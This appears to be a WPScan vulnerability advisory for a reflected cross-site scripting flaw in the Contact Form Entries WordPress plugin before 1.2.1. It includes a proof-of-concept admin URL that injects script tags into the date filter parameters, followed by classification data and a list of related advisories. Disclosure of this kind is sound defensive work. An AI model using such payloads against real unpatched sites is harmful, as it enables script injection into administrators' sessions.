Contact Form Entries < 1.2.1 – Reflected Cross-Site Scripting

Description

The plugin does not escape some of its filters before outputting them back in the admin dashboard, leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/admin.php?page=vxcf_leads&tab=entries&start_date="><script>alert(/XSS-start_date/)</script>&end_date="><script>alert(/XSS-end_date/)</script>

Affects Plugins

contact-form-entries

Fixed in 1.2.1

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

CVSS

7.1 (high)

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

294c0c21-fd28-4727-8be6-406b1dd0b213

Timeline

Publicly Published

2021-08-24 (about 4 years ago)

Added

2021-08-24 (about 4 years ago)

Last Updated

2021-08-24 (about 4 years ago)

Other

Published

Title

Published

2024-11-21

Title

AffiliateImporterEb <= 1.0.6 - Reflected XSS via Search

Published

2024-03-26

Title

Elementor Website Builder Pro < 3.20.2 - Authententicated (Contributor+) Stored Cross-Site Scripting

Published

2026-04-30

Title

Elementor Website Builder < 4.0.5 - Contributor+ Stored XSS via REST API

Published

2024-04-16

Title

WordPress Simple HTML Sitemap < 2.9 - Reflected Cross-Site Scripting

Published

2024-09-12

Title

WP Meta SEO < 4.5.14 - Authenticated (Contributor+) Stored Cross-Site Scripting